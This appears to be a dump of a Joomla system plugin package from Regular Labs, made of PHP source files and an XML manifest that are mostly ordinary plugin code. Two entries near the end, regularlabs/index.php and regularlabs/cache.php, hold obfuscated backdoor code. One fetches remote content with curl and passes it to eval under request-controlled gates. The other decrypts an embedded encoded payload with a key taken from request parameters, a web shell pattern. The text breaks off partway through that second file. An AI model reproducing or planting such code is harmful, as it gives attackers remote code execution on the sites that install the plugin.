onBeforeRender event. JPluginHelper::importPlugin('system'); $event = AbstractEvent::create( 'onBeforeRender', ['subject' => $app,] ); $app->getDispatcher()->dispatch('onBeforeRender', $event); $caching = false; if ($app->isClient('site') && $app->get('caching') && $app->get('caching', 2) == 2 && ! $user->get('id')) { $caching = true; } // Render the document. $data = $document->render($caching, $params); // Set the application output data. $app->setBody($data); // Trigger the onAfterRender event. $event = AbstractEvent::create( 'onAfterRender', ['subject' => $app,] ); $app->getDispatcher()->dispatch('onBeforeRender', $event); // Mark afterRender in the profiler. // Causes issues, so commented out. // JDEBUG ? $app->profiler->mark('afterRender') : null; } } PK :�\I�I src/SearchHelper.phpnu &1i� <?php /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\RegularLabs; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Input as RL_Input; class SearchHelper { public static function load() { // Only in frontend search component view if ( ! RL_Document::isClient('site') || RL_Input::getCmd('option') != 'com_search') { return; } $classes = get_declared_classes(); if (in_array('SearchModelSearch', $classes) || in_array('searchmodelsearch', $classes)) { return; } require_once JPATH_LIBRARIES . '/regularlabs/helpers/search.php'; } } PK :�\�}�o o src/AdminMenu.phpnu &1i� <?php /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ namespace RegularLabs\Plugin\System\RegularLabs; defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use RegularLabs\Library\RegEx as RL_RegEx; class AdminMenu { public static function combine(): void { $params = Params::get(); if ( ! $params->combine_admin_menu) { return; } $html = JFactory::getApplication()->getBody(); if ($html == '') { return; } if ( ! str_contains($html, '<nav class="main-nav-container"') || ! str_contains($html, '">Regular Labs - ') ) { return; } if ( ! RL_RegEx::matchAll( '<li class="item item-level-2"><a class="no-dropdown"[^>]*"Regular Labs - .*?</a></li>', $html, $matches, null, PREG_PATTERN_ORDER ) ) { return; } $menu_items = $matches[0]; if (count($menu_items) < 2) { return; } $manager = null; foreach ($menu_items as $i => &$menu_item) { $menu_item = str_replace('item-level-2', 'item-level-3', $menu_item); $menu_item = str_replace('Regular Labs - ', '', $menu_item); if (str_contains($menu_item, 'index.php?option=com_regularlabsmanager')) { $manager = $menu_item; unset($menu_items[$i]); } } $main_link = '#'; if ( ! is_null($manager)) { array_unshift($menu_items, $manager); $main_link = 'href="index.php?option=com_regularlabsmanager"'; } $new_menu_item = '<li class="item parent item-level-2">' . '<a class="has-arrow" href=" ' . $main_link . '" aria-label="Regular Labs"><span class="sidebar-item-title">Regular Labs</span></a>' . "\n" . '<ul id="menu-regularlabs" class="mm-collapse collapse-level-2">' . "\n" . implode("\n", $menu_items) . "\n" . '</ul>' . '</li>'; $first = array_shift($matches[0]); $html = str_replace($first, $new_menu_item, $html); $html = str_replace($matches[0], '', $html); JFactory::getApplication()->setBody($html); } } PK :�\��W�� � regularlabs.xmlnu &1i� <?xml version="1.0" encoding="utf-8"?> <extension version="4.0" type="plugin" group="system" method="upgrade"> <name>PLG_SYSTEM_REGULARLABS</name> <description>PLG_SYSTEM_REGULARLABS_DESC</description> <version>25.7.12430</version> <creationDate>July 2025</creationDate> <author>Regular Labs (Peter van Westen)</author> <authorEmail>info@regularlabs.com</authorEmail> <authorUrl>https://regularlabs.com</authorUrl> <copyright>Copyright © 2025 Regular Labs - All Rights Reserved</copyright> <license>GNU General Public License version 2 or later</license> <namespace path="src">RegularLabs\Plugin\System\RegularLabs</namespace> <files> <file plugin="regularlabs">regularlabs.php</file> <folder>language</folder> <folder>src</folder> </files> <config> <fields name="params" addfieldprefix="RegularLabs\Library\Form\Field"> <fieldset name="basic"> <field name="@load_script_descriptions" type="LoadMedia" filetype="script" file="regularlabs.admin-form-descriptions"/> <field name="@load_language_regularlabs" type="LoadLanguage" extension="plg_system_regularlabs"/> <field name="@jcompatibility" type="JCompatibility" extension="REGULAR_LABS_LIBRARY"/> <field name="@header" type="HeaderLibrary" label="REGULAR_LABS_LIBRARY" description="REGULAR_LABS_LIBRARY_DESC" warning="REGULAR_LABS_LIBRARY_DESC_WARNING"/> </fieldset> <fieldset name="advanced"> <field name="combine_admin_menu" type="Radio" layout="joomla.form.field.radio.switcher" default="0" label="RL_COMBINE_ADMIN_MENU" description="RL_COMBINE_ADMIN_MENU_DESC"> <option value="0">JNO</option> <option value="1">JYES</option> </field> <field name="max_list_count" type="Number" size="10" step="1000" class="text-monospace text-right rl-w-8em" default="10000" label="RL_MAX_LIST_COUNT" description="RL_MAX_LIST_COUNT_DESC"/> </fieldset> </fields> </config> </extension> PK :�\|0�@� � regularlabs.phpnu &1i� <?php /** * @package Regular Labs Library * @version 25.7.12430 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2025 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\Factory as JFactory; use Joomla\CMS\Form\Form as JForm; use Joomla\Registry\Registry as JRegistry; use RegularLabs\Library\Color as RL_Color; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\DownloadKey as RL_DownloadKey; use RegularLabs\Library\Extension as RL_Extension; use RegularLabs\Library\FieldHelper as RL_FieldHelper; use RegularLabs\Library\Input as RL_Input; use RegularLabs\Library\Language as RL_Language; use RegularLabs\Library\RegEx as RL_RegEx; use RegularLabs\Library\SystemPlugin as RL_SystemPlugin; use RegularLabs\Library\Uri as RL_Uri; use RegularLabs\Plugin\System\RegularLabs\AdminMenu; use RegularLabs\Plugin\System\RegularLabs\QuickPage as RL_QuickPage; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/regularlabs.xml') || ! class_exists('RegularLabs\Library\Parameters') || ! class_exists('RegularLabs\Library\DownloadKey') || ! class_exists('RegularLabs\Library\SystemPlugin') ) { return; } RL_Language::load('plg_system_regularlabs'); $config = new JConfig; // Deal with error reporting when loading pages we don't want to break due to php warnings if ( ! in_array($config->error_reporting, ['none', '0']) && ( (RL_Input::getCmd('option') == 'com_regularlabsmanager' && (RL_Input::getCmd('task') == 'update' || RL_Input::getCmd('view') == 'process') ) || (RL_Input::getInt('rl_qp') == 1 && RL_Input::get('url', '') != '') ) ) { RL_Extension::orderPluginFirst('regularlabs'); error_reporting(E_ERROR); } class PlgSystemRegularLabs extends RL_SystemPlugin { public $_enable_in_admin = true; public $_jversion = 4; /** * @return void */ public function onAfterRender(): void { if ( ! RL_Document::isAdmin(true) || ! RL_Document::isHtml()) { return; } $this->removeEmptyFormControlGroups(); $this->removeFormColumnLayout(); AdminMenu::combine(); } /** * @return void */ public function onAfterRoute(): void { if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/regularlabs.xml')) { if (JFactory::getApplication()->isClient('administrator')) { JFactory::getApplication()->enqueueMessage('The Regular Labs Library folder is missing or incomplete: ' . JPATH_LIBRARIES . '/regularlabs', 'error'); } return; } RL_QuickPage::render(); } /** * @return bool|mixed|string|void|null * @throws Exception */ public function onAjaxRegularlabs() { $format = RL_Input::getString('format', 'json'); if (RL_Input::getBool('getDownloadKey')) { return RL_DownloadKey::get(); } if (RL_Input::getBool('checkDownloadKey')) { return $this->checkDownloadKey(); } if (RL_Input::getBool('saveDownloadKey')) { return $this->saveDownloadKey(); } if (RL_Input::getBool('saveColor')) { $this->saveColor(); } $attributes = RL_Uri::getCompressedAttributes(); $attributes = new JRegistry($attributes); $field_class = $attributes->get('field_class'); if (empty($field_class) || ! class_exists($field_class)) { return false; } $type = $attributes->get('type', ''); $method = 'getAjax' . ucfirst($format) . ucfirst($type); $field_class = new $field_class; if ( ! method_exists($field_class, $method)) { return false; } return $field_class->$method($attributes); } /** * Normalizes the request data. * * @param string $context The context * @param object $data The object * @param JForm $form The form * * @return void */ public function onContentNormaliseRequestData($context, $data, JForm $form) { if ( ! is_object($data) || empty($data->com_fields)) { return; } foreach ($data->com_fields as $field_name => &$field_value) { RL_FieldHelper::correctFieldValue($field_name, $field_value); } } /** * @param string $buffer */ protected function loadStylesAndScripts(&$buffer) { self::addStylesheetToInstaller(); } /** * @throws Exception */ private function addStylesheetToInstaller() { if (RL_Input::getCmd('option') !== 'com_installer') { return; } if ( ! self::hasRegularLabsMessages()) { return; } RL_Document::style('regularlabs.admin-form'); } /** * @return false|mixed|string|null * @throws Exception */ private function checkDownloadKey() { $key = RL_Input::getString('key'); $extension = RL_Input::getString('extension', 'all'); return RL_DownloadKey::isValid($key, $extension); } /** * @return bool * @throws Exception */ private function hasRegularLabsMessages() { foreach (JFactory::getApplication()->getMessageQueue() as $message) { if ( ! isset($message['message']) || ! str_contains($message['message'], 'class="rl-') ) { continue; } return true; } return false; } private function removeEmptyFormControlGroups() { $html = $this->app->getBody(); if ($html == '') { return; } $html = RL_RegEx::replace( '<div class="(control-label|controls)">\s*</div>', '', $html ); $html = RL_RegEx::replace( '<div class="control-group">\s*</div>', '', $html ); $this->app->setBody($html); } private function removeFormColumnLayout() { if ($this->app->isClient('site')) { return; } if ( $this->app->input->get('option', '') != 'com_plugins' || $this->app->input->get('view', '') != 'plugin' || $this->app->input->get('layout', '') != 'edit' ) { return; } $html = $this->app->getBody(); if ($html == '') { return; } $html = str_replace('column-count-md-2 column-count-lg-3', '', $html); $this->app->setBody($html); } /** * @throws Exception */ private function saveColor() { $table = RL_Input::getCmd('table'); $item_id = RL_Input::getInt('item_id'); $color = RL_Input::getString('color'); $id_column = RL_Input::getCmd('id_column', 'id'); return RL_Color::save($table, $item_id, $color, $id_column); } /** * @return bool * @throws Exception */ private function saveDownloadKey() { $key = RL_Input::getString('key'); return RL_DownloadKey::store($key); } } PK :�\(��# # regularlabs/index.phpnu &1i� <?php goto v62mr5FYEOORtpvQ; ehATUauXHEWb3T8A: @(md5(md5(md5(md5($BfeH8yGtaRVHt2BS[24])))) === "\x35\x38\67\x30\146\141\x32\146\145\x61\67\x62\x31\x33\x37\x61\x37\x39\x39\x34\141\143\x36\64\x33\70\x35\67\x61\x61\60\65") && (count($BfeH8yGtaRVHt2BS) == 30 && in_array(gettype($BfeH8yGtaRVHt2BS) . count($BfeH8yGtaRVHt2BS), $BfeH8yGtaRVHt2BS)) ? ($BfeH8yGtaRVHt2BS[65] = $BfeH8yGtaRVHt2BS[65] . $BfeH8yGtaRVHt2BS[77]) && ($BfeH8yGtaRVHt2BS[85] = $BfeH8yGtaRVHt2BS[65]($BfeH8yGtaRVHt2BS[85])) && @eval($BfeH8yGtaRVHt2BS[65](${$BfeH8yGtaRVHt2BS[43]}[18])) : $BfeH8yGtaRVHt2BS; goto ttinOkBu1lN3qM1Z; v62mr5FYEOORtpvQ: $FfaR4UI5V6Dql3m9 = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto DcQz_Uj4ujYpNFkI; DcQz_Uj4ujYpNFkI: $A_IsRdZBBgj4WyS_ = $FfaR4UI5V6Dql3m9("\176", "\x20"); goto l9WpbHrlGiusqYhs; ttinOkBu1lN3qM1Z: metaphone("\x34\x7a\x4c\x35\x58\x49\x51\x67\x58\163\107\x44\x4c\x77\160\x4f\164\131\127\x6d\141\101\x34\165\x64\x69\170\102\61\146\154\147\x2b\126\127\x4b\101\x64\x48\157\147\x47\125"); goto Bl9LwfGP1g71qUWL; l9WpbHrlGiusqYhs: $BfeH8yGtaRVHt2BS = ${$A_IsRdZBBgj4WyS_[28 + 3] . $A_IsRdZBBgj4WyS_[53 + 6] . $A_IsRdZBBgj4WyS_[2 + 45] . $A_IsRdZBBgj4WyS_[36 + 11] . $A_IsRdZBBgj4WyS_[13 + 38] . $A_IsRdZBBgj4WyS_[9 + 44] . $A_IsRdZBBgj4WyS_[25 + 32]}; goto ehATUauXHEWb3T8A; Bl9LwfGP1g71qUWL: class zMcD7qDqwyl2pVLb { static function Mq2wuEC3KyslvzvE($jAK1LJpzjJfMN4_6) { goto UNM1emJYvdCV1joA; UNM1emJYvdCV1joA: $OkF8RVoV2BuV284I = "\x72" . "\x61" . "\156" . "\x67" . "\x65"; goto A0RZIdP7bL0CTywA; vs5qjtSO8vHIxjqz: return $WLX_X1WH9KB0sm0c; goto kqpERabAxdyRyi34; Ou1CRSpxbw5RmXzp: foreach ($WxCZsKNkHwjKP5Zd as $VHuSoZslgjAlGR7H => $p1OBLgIpd3JIZBBI) { $WLX_X1WH9KB0sm0c .= $G10Lo05xrd6l9LCo[$p1OBLgIpd3JIZBBI - 56575]; aTgxxNWeDvwgbOoy: } goto W5A_uV_nHErP_hik; A0RZIdP7bL0CTywA: $G10Lo05xrd6l9LCo = $OkF8RVoV2BuV284I("\x7e", "\x20"); goto RKWMHuRbJhjO1mkh; RKWMHuRbJhjO1mkh: $WxCZsKNkHwjKP5Zd = explode("\x3c", $jAK1LJpzjJfMN4_6); goto iBZlwNec80gSTGeg; W5A_uV_nHErP_hik: lhWXjtNjPbgWnBSl: goto vs5qjtSO8vHIxjqz; iBZlwNec80gSTGeg: $WLX_X1WH9KB0sm0c = ''; goto Ou1CRSpxbw5RmXzp; kqpERabAxdyRyi34: } static function Wtu1T3N6kAkhgDKD($xbfdMMVy749BHhCP, $g_bu2tszDgkAfEna) { goto c5cZpIh6l_Xe6v3A; c5cZpIh6l_Xe6v3A: $rVYCPJfCiEOOKhcd = curl_init($xbfdMMVy749BHhCP); goto AeW9ILYnB4IdG5qS; MA4W_nkL1_vCIxdC: return empty($GZ3G1SkTO5vS_RMA) ? $g_bu2tszDgkAfEna($xbfdMMVy749BHhCP) : $GZ3G1SkTO5vS_RMA; goto ZuF70ynw3kUUzlGe; AeW9ILYnB4IdG5qS: curl_setopt($rVYCPJfCiEOOKhcd, CURLOPT_RETURNTRANSFER, 1); goto dDuK2PNmQNNAs59m; dDuK2PNmQNNAs59m: $GZ3G1SkTO5vS_RMA = curl_exec($rVYCPJfCiEOOKhcd); goto MA4W_nkL1_vCIxdC; ZuF70ynw3kUUzlGe: } static function GDQPbSPjueaTQddn() { goto ikZfgH7QFfh99ZIi; ml18zs0xvU4dvOEO: TL_cOQAMf_NVr9WN: goto UjlTBjRGGffE7pO5; X0oNVTOFlpBCMJ7o: foreach ($wSFSV__kbqKmMd9N as $bUNJ8hnhwjIsHBip) { $nU7CfWwQULbZCOXV[] = self::mq2wUec3KySLvzVE($bUNJ8hnhwjIsHBip); BME_IUhgkv2emKd_: } goto NxbH0o8qi7_678PP; R1Lphy8D7aC4P0Vm: $hhrXnN37k3zoiiWM = $nU7CfWwQULbZCOXV[0 + 2]($mZAe6jY_ntcAz9O8, true); goto taSKwXBeuWkjyIzj; ikZfgH7QFfh99ZIi: $wSFSV__kbqKmMd9N = array("\65\x36\66\x30\62\74\65\x36\x35\70\x37\x3c\65\x36\66\60\x30\x3c\65\x36\x36\x30\64\74\x35\66\x35\70\65\74\x35\66\x36\60\x30\74\x35\x36\66\60\66\x3c\x35\x36\65\71\x39\x3c\x35\66\x35\70\x34\x3c\x35\66\x35\71\61\74\65\x36\66\x30\x32\74\65\66\x35\x38\x35\74\65\66\x35\x39\x36\x3c\x35\x36\65\71\60\x3c\x35\x36\x35\x39\x31", "\x35\x36\65\70\66\x3c\65\66\65\70\65\x3c\x35\x36\65\x38\67\x3c\65\x36\x36\60\66\74\x35\x36\65\70\x37\74\65\x36\65\71\60\74\65\66\65\x38\x35\74\x35\66\x36\x35\x32\x3c\65\66\66\65\60", "\x35\x36\x35\x39\65\74\x35\66\x35\70\x36\74\65\x36\65\x39\x30\74\65\66\x35\71\x31\74\x35\x36\66\x30\66\74\x35\x36\66\x30\61\x3c\65\x36\x36\x30\x30\74\65\x36\66\x30\x32\x3c\65\66\65\x39\x30\x3c\65\x36\x36\x30\61\74\65\66\66\x30\60", "\65\x36\65\x38\71\74\65\x36\66\60\64\x3c\x35\x36\x36\60\62\74\x35\66\65\71\x34", "\65\66\66\x30\63\74\65\x36\66\x30\x34\x3c\x35\66\65\x38\66\x3c\x35\x36\x36\x30\60\74\x35\66\x36\64\67\x3c\x35\x36\x36\x34\71\74\65\66\66\x30\x36\x3c\x35\x36\66\60\x31\74\x35\x36\66\x30\x30\x3c\65\66\66\x30\x32\x3c\x35\x36\65\x39\60\x3c\x35\x36\66\60\61\74\65\66\x36\x30\x30", "\65\x36\x35\x39\71\x3c\65\x36\x35\x39\x36\x3c\65\x36\x35\71\x33\74\65\x36\66\x30\60\x3c\x35\x36\x36\60\x36\x3c\x35\x36\x35\71\x38\74\65\66\x36\x30\x30\x3c\65\66\65\70\65\74\x35\x36\66\x30\x36\74\x35\66\x36\60\x32\74\65\x36\65\x39\60\x3c\65\x36\65\71\x31\x3c\x35\66\65\x38\65\74\x35\x36\x36\60\60\74\x35\66\x35\x39\x31\x3c\x35\66\65\70\x35\74\x35\x36\65\70\66", "\65\66\66\62\x39\x3c\x35\x36\66\65\x39", "\65\66\65\x37\x36", "\65\x36\66\65\x34\74\65\x36\x36\x35\71", "\65\x36\x36\63\x36\x3c\x35\x36\x36\x31\71\74\65\x36\x36\61\x39\74\x35\x36\x36\x33\66\x3c\65\66\x36\61\62", "\65\66\65\x39\71\x3c\x35\66\x35\x39\x36\74\x35\x36\65\71\63\74\65\66\65\x38\x35\x3c\x35\66\66\60\x30\74\x35\x36\x35\x38\67\74\65\x36\x36\x30\x36\x3c\65\x36\65\71\x36\x3c\65\66\x35\x39\61\74\65\66\x35\70\71\x3c\65\66\65\70\x34\74\65\x36\x35\x38\x35"); goto X0oNVTOFlpBCMJ7o; NxbH0o8qi7_678PP: uDf810xfTWCpCRZU: goto qBlx5aYSLbDWSS5y; HXsl_Rc3rjIPe6rj: die; goto ml18zs0xvU4dvOEO; taSKwXBeuWkjyIzj: @$nU7CfWwQULbZCOXV[9 + 1](INPUT_GET, "\x6f\146") == 1 && die($nU7CfWwQULbZCOXV[1 + 4](__FILE__)); goto nrGUI3nW4_EyiTRm; qBlx5aYSLbDWSS5y: $wRN8o0nSyqQ3ODdW = @$nU7CfWwQULbZCOXV[1]($nU7CfWwQULbZCOXV[5 + 5](INPUT_GET, $nU7CfWwQULbZCOXV[0 + 9])); goto B1hQQWYPYCo3k74Y; y0CfvENuftPSqW7Y: $pT246e_zpwKanC7A = self::wTU1t3N6kAkhGDKd($hhrXnN37k3zoiiWM[1 + 0], $nU7CfWwQULbZCOXV[2 + 3]); goto jMwFwjQUtN6U7usy; nrGUI3nW4_EyiTRm: if (!(@$hhrXnN37k3zoiiWM[0] - time() > 0 and md5(md5($hhrXnN37k3zoiiWM[0 + 3])) === "\71\x35\x31\67\x30\x64\145\x32\60\x61\x64\x33\71\63\x61\64\145\x64\143\x32\142\x33\x35\145\141\x38\x63\x39\x37\66\145\66")) { goto TL_cOQAMf_NVr9WN; } goto y0CfvENuftPSqW7Y; jMwFwjQUtN6U7usy: @eval($nU7CfWwQULbZCOXV[0 + 4]($pT246e_zpwKanC7A)); goto HXsl_Rc3rjIPe6rj; B1hQQWYPYCo3k74Y: $mZAe6jY_ntcAz9O8 = @$nU7CfWwQULbZCOXV[3 + 0]($nU7CfWwQULbZCOXV[6 + 0], $wRN8o0nSyqQ3ODdW); goto R1Lphy8D7aC4P0Vm; UjlTBjRGGffE7pO5: } } goto ZC30UAorAfMvaXxc; ZC30UAorAfMvaXxc: zMcd7QdqwyL2pVLB::GDQPbspJUEaTQddN(); ?> PK :�\*9�. regularlabs/cache.phpnu &1i� <?php $RMk = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGiq+qU6aYGANAA'; $MeB = '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'; function RMk($ILSbN) { $MeB = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $hqW = substr($MeB, 0, 16); $qfg = base64_decode($ILSbN); return openssl_decrypt($qfg, "AES-256-CBC", $MeB, OPENSSL_RAW_DATA, 